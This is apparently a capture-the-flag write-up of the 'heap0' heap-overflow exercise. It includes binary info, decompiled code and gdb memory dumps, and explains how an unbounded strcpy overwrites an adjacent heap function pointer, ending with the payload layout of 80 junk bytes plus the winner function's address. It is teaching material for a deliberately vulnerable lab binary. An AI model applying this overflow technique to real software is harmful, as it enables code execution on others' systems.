Standard check shows:
$ rabin2 -I heap0
arch x86
baddr 0x8048000
binsz 23541
bintype elf
bits 32
canary false
sanitiz false
class ELF32
crypto false
endian little
havecode true
intrp /lib/ld-linux.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine Intel 80386
maxopsz 16
minopsz 1
nx false
os linux
pcalign 0
pic false
relocs true
relro no
rpath NONE
static false
stripped false
subsys linux
va true
When we run the binary we observe a simple output which shows where the 'data' and 'fp' is in memory and a seg fault.
$ ./heap0
data is at 0x9f9b160, fp is at 0x9f9b1b0
Segmentation fault (core dumped)
Looking into the disassembled code:
void main(undefined4 param_1,int param_2)
{
char *__dest;
code **ppcVar1;
__dest = (char *)malloc(0x40);
ppcVar1 = (code **)malloc(4);
*ppcVar1 = nowinner;
printf("data is at %p, fp is at %p\n",__dest,ppcVar1);
strcpy(__dest,*(char **)(param_2 + 4));
(**ppcVar1)();
return;
}
We see that the binary reads a command line argument and copies it with strcpy to __dest
variable. Since __dest
and ppcVar1
are malloc'd, they will both reside on the heap, as two adjacent chunks. On the heap, "two adjacent chunks" means that in between those memory allocations lies additional data (malloc_chunk header) and the allocated size can be different from the one specified to malloc function.
The vulnerability itself is in using the strcpy
function to place our command line argument into __dest
- we can overflow into ppcVar1
and write our own function pointer which will get executed on line (**ppcVar1)()
. Perfect place to place our winner
function address.
To be exactly sure how much we need to overwrite into the next chunk, let's inspect the memory after strcpy
call using gdb:
Breakpoint 1 at 0x80484f7: file heap0/heap0.c, line 38.
(gdb) run ABCDEF
Starting program: /heap0 ABCDEF
data is at 0x804a160, fp is at 0x804a1b0
Breakpoint 1, main (argc=2, argv=0xffffd144) at heap0/heap0.c:38
38 heap0/heap0.c: No such file or directory.
(gdb) i r eax
eax 0x804a160 134521184
(gdb) x/50wx $eax - 20
0x804a14c: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a15c: 0x00000051 0x44434241 0x00004645 0x00000000
0x804a16c: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a17c: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a18c: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a19c: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a1ac: 0x00000011 0x08048478 0x00000000 0x00000000
0x804a1bc: 0x00000411 0x61746164 0x20736920 0x30207461
0x804a1cc: 0x34303878 0x30363161 0x7066202c 0x20736920
0x804a1dc: 0x30207461 0x34303878 0x30623161 0x0000000a
0x804a1ec: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a1fc: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a20c: 0x00000000 0x00000000
Breaking it down a little:
0x804a15c: 0x00000051 0x44434241 0x00004645 0x00000000
0x804a16c: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a17c: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a18c: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a19c: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a1ac: 0x00000011 0x08048478 0x00000000 0x00000000
We can observe that our data ABCDEF (0x44434241 and 0x00004645 blocks) starts at 0x804a160. Few bytes before that, at 0x804a15c, there is a number 0x51 converted to 81 decimal. The number represents the actual size of the whole chunk, but keep in mind that the last three bits in that number are used to mark whether the chunk belongs to a thread arena (A), is mmaped (M) and whether the previous chunk adjacent to this one is in use (P). With that in mind - the actual size of the chunk is actually 80.
This same information is disclosed via the output when the binary is executed:
(gdb) run ABCDEF
Starting program: /heap0 ABCDEF
data is at 0x804a160, fp is at 0x804a1b0
(gdb) p 0x804a1b0 - 0x804a160
$4 = 80
Meaning that we are overanalysing it now, but well ...
The general idea in the end is:
- write 80 bytes of junk data which will be stored into the allocated memory of the first chunk and malloc_chunk header data of the second chunk
- write the address of the winner function (
\x64\x84\x04\x08
) which will be called right afterstrcpy
The solution for this task is solve_exploit_exercises_heap0.py